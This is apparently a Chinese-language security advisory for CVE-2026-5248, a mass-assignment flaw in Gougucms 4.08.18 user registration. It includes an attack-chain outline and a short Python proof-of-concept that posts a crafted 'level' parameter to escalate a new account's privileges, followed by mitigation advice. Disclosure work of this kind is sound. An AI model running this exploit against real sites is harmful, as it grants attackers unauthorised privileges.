IPBUF安全漏洞报告
English
CVE-2026-5248 CVSS 6.3 中危

CVE-2026-5248 Gougucms批量赋值漏洞

披露日期: 2026-04-01

漏洞信息

漏洞编号
CVE-2026-5248
漏洞类型
批量赋值漏洞
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Gougucms

相关标签

批量赋值Gougucms权限提升Web安全

漏洞概述

Gougucms 4.08.18版本存在安全漏洞,位于用户注册处理组件中。攻击者可利用reg_submit函数中的level参数缺陷,通过动态对象属性赋值进行攻击。该漏洞允许远程攻击者绕过正常权限检查,可能导致权限提升。厂商目前未对此漏洞做出响应,且利用代码已公开披露。

技术细节

该漏洞源于`gougucms-master\app\home\controller\Login.php`文件中的`reg_submit`函数。在处理用户注册请求时,系统未严格过滤传入的参数(如`level`),直接将其用于对象属性的动态赋值。这种“批量赋值”缺陷允许攻击者在注册新用户时,通过构造恶意的HTTP请求,修改本应受保护的属性(例如用户等级),从而在无需经过正常审核流程的情况下获取较高权限。

攻击链分析

STEP 1
侦察
识别目标系统是否运行Gougucms 4.08.18版本。
STEP 2
构造攻击
准备包含恶意level参数的POST请求,目标指向注册接口reg_submit。
STEP 3
执行利用
发送请求,后端直接将level参数值赋给用户对象。
STEP 4
权限提升
成功注册具有高等级权限的账户,实现权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(): target_url = "http://target/index.php/home/login/reg_submit" # Vulnerable payload: manipulating 'level' parameter payload = { "username": "attacker", "password": "password123", "level": 1 # Attempting to assign admin privileges } try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Request sent. Check if user was created with elevated privileges.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

影响范围

Gougucms 4.08.18

防御指南

临时缓解措施
建议在注册逻辑中显式定义允许赋值的字段,拒绝未授权的字段(如level)通过请求传入,或者暂时关闭用户注册功能直至补丁发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表